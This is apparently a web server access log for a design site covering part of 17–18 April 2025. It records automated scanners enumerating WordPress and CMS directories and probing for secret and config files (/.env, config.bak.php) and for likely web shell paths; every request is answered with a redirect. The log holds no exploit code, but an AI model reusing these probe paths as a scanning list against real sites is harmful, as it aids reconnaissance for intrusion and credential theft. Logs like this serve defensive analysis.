"-" 52.169.85.7 - - [17/Apr/2025:22:35:54 -0400] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:54 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:55 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:55 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:56 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:57 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:57 -0400] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:58 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:58 -0400] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:59 -0400] "GET /local/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:35:59 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:00 -0400] "GET /Site/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:01 -0400] "GET /system/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:01 -0400] "GET /template/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:02 -0400] "GET /shop/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:03 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:03 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:04 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:04 -0400] "GET /Assets/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:05 -0400] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:06 -0400] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:06 -0400] "GET /php/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:07 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:08 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:08 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:09 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:10 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:10 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:11 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:12 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:13 -0400] "GET /wp-includes/SimplePie/Content/Type/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:13 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:14 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:15 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:15 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:16 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:17 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:17 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:18 -0400] "GET /wp-includes/Requests/Transport/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:18 -0400] "GET /wp-includes/Requests/Utility/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:19 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:20 -0400] "GET /wp-includes/Requests/Exception/HTTP/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:21 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:21 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:22 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:23 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:23 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:24 -0400] "GET /wp-includes/rest-api/search/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:24 -0400] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:25 -0400] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:26 -0400] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:27 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:28 -0400] "GET /wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:29 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:30 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:31 -0400] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:32 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:33 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:35 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:35 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:36 -0400] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:37 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:38 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:38 -0400] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:39 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:40 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:41 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:41 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:42 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:42 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:43 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:44 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:44 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:45 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:46 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:46 -0400] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:47 -0400] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:48 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:48 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:49 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:50 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:50 -0400] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:51 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:52 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:52 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:53 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:53 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:54 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:55 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:55 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:56 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:57 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:57 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:58 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:58 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:36:59 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:37:00 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:22:37:00 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 100.24.182.27 - - [17/Apr/2025:23:55:53 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 221.229.106.25 - - [18/Apr/2025:00:27:31 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 69.160.160.55 - - [18/Apr/2025:00:29:24 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Nicecrawler/1.1; +http://www.nicecrawler.com/) Chrome/90.0.4430.97 Safari/537.36" 69.160.160.55 - - [18/Apr/2025:00:29:26 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/81.0.4044.92 Safari/537.36" 69.160.160.55 - - [18/Apr/2025:00:29:43 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 2602:fb54:962:: - - [18/Apr/2025:00:40:02 -0400] "GET /admin.php?520 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)" 52.200.211.223 - - [18/Apr/2025:00:55:07 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" 145.239.10.137 - - [18/Apr/2025:01:05:18 -0400] "GET /conflg.php HTTP/1.1" 301 795 "http://designpitara.com/conflg.php" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1" 145.239.10.137 - - [18/Apr/2025:01:05:18 -0400] "GET /doc.php HTTP/1.1" 301 795 "http://designpitara.com/doc.php" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1" 145.239.10.137 - - [18/Apr/2025:01:05:18 -0400] "GET /config.bak.php HTTP/1.1" 301 795 "http://designpitara.com/config.bak.php" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1" 173.244.56.136 - - [18/Apr/2025:01:09:14 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 43.166.128.187 - - [18/Apr/2025:01:19:54 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 198.235.24.95 - - [18/Apr/2025:01:20:52 -0400] "GET / HTTP/1.1" 301 795 "-" "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com" 114.119.132.218 - - [18/Apr/2025:01:33:57 -0400] "GET /social-media-marketing HTTP/1.1" 301 795 "https://designpitara.com/category/logo-design-monogram-design" "Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)" 167.172.38.75 - - [18/Apr/2025:02:14:52 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible)" 3.142.222.171 - - [18/Apr/2025:02:17:14 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" 3.142.222.171 - - [18/Apr/2025:02:17:14 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" 216.244.66.237 - - [18/Apr/2025:02:22:31 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 195.78.54.214 - - [18/Apr/2025:02:35:18 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 39.103.152.223 - - [18/Apr/2025:02:38:12 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 39.103.152.223 - - [18/Apr/2025:02:38:12 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 3.16.81.74 - - [18/Apr/2025:02:56:24 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" 3.16.81.74 - - [18/Apr/2025:02:56:24 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" 89.248.172.183 - - [18/Apr/2025:02:58:27 -0400] "GET /wp-content/plugins/instant-appointment/assets/css/bootstrap-icons.min.css HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 43.166.131.228 - - [18/Apr/2025:03:04:06 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 52.184.145.216 - - [18/Apr/2025:03:09:38 -0400] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:09:40 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:09:40 -0400] "GET /wp-setting.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:09:41 -0400] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:09:42 -0400] "GET /wp-content/plugins/elementor/assets/images/app/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:09:42 -0400] "GET /wp-comments-pos.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:09:43 -0400] "GET /wp-content/themes/ripro/inc/admin/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:09:43 -0400] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:09:44 -0400] "GET /index/b/home/h213348220/fundlead.ru/docs/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:09:44 -0400] "GET /wp-includes/blocks/archives/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:09:45 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:09:45 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:09:45 -0400] "GET /wp-content/plugins/woocommerce/assets/client/blocks/products-by-attribute/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:09:46 -0400] "GET /wp-content/uploads/2023/03/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:09:47 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:09:47 -0400] "GET /Content/UserFiles/News/Orjinal/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:09:48 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:09:49 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:09:51 -0400] "GET /templates/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:09:52 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:09:52 -0400] "GET /wp-content/plugins/elementor/assets/images/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:09:54 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:09:56 -0400] "GET /wp-link.php/wp-content/plugins/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:09:57 -0400] "GET /wp-cro.php/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:09:58 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:00 -0400] "GET /wordpress/wp-includes/js/mediaelement/renderers/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:00 -0400] "GET /wp-content/plugins/oxygen/component-framework/components/classes/gallery/photoswipe/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:01 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:02 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:05 -0400] "GET /wp-content/plugins/elementor-pro/modules/woocommerce/skins/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:10 -0400] "GET /wp-content/plugins/seo-by-rank-math/vendor/woocommerce/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:12 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:15 -0400] "GET /wp-content/plugins/ultimate-addons-for-gutenberg/blocks-config/uagb-controls/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:16 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:17 -0400] "GET /wp-content/themes/twenty/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:18 -0400] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:20 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:21 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:22 -0400] "GET /newlms/assets/frontend/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:23 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:25 -0400] "GET /wp-content/plugins/shell/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:27 -0400] "GET /wp-content/themes/blocksy/static/sass/frontend/6-layout/entries/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:28 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:29 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:29 -0400] "GET /wp/wp-content/themes/twentytwenty/template-parts/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:30 -0400] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:32 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:33 -0400] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:34 -0400] "GET /wp-content/plugins/wordpress-seo/vendor_prefixed/symfony/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:34 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:37 -0400] "GET /.well-known/acme-challenge/action=./ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:37 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:38 -0400] "GET /vendor/symfony/serializer/Mapping/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:39 -0400] "GET /wp-content/themes/blocksy/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:40 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:41 -0400] "GET /assets/admin/plugins/ckeditor/plugins/scayt/dialogs/dialogs/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:41 -0400] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:42 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:42 -0400] "GET /wp-includes/js/tinymce/plugins/image/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:42 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:43 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:44 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:45 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:45 -0400] "GET /wp-includes/SimplePie/HTTP/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:46 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:46 -0400] "GET /wp-content/plugins/woocommerce/includes/gateways/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:47 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:48 -0400] "GET /wp-content/fonts//wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:48 -0400] "GET /images/icons/rouyg/hppd/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:49 -0400] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:49 -0400] "GET /wp-content/plugins/insert-headers-and-footers/includes/auto-insert/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:50 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - 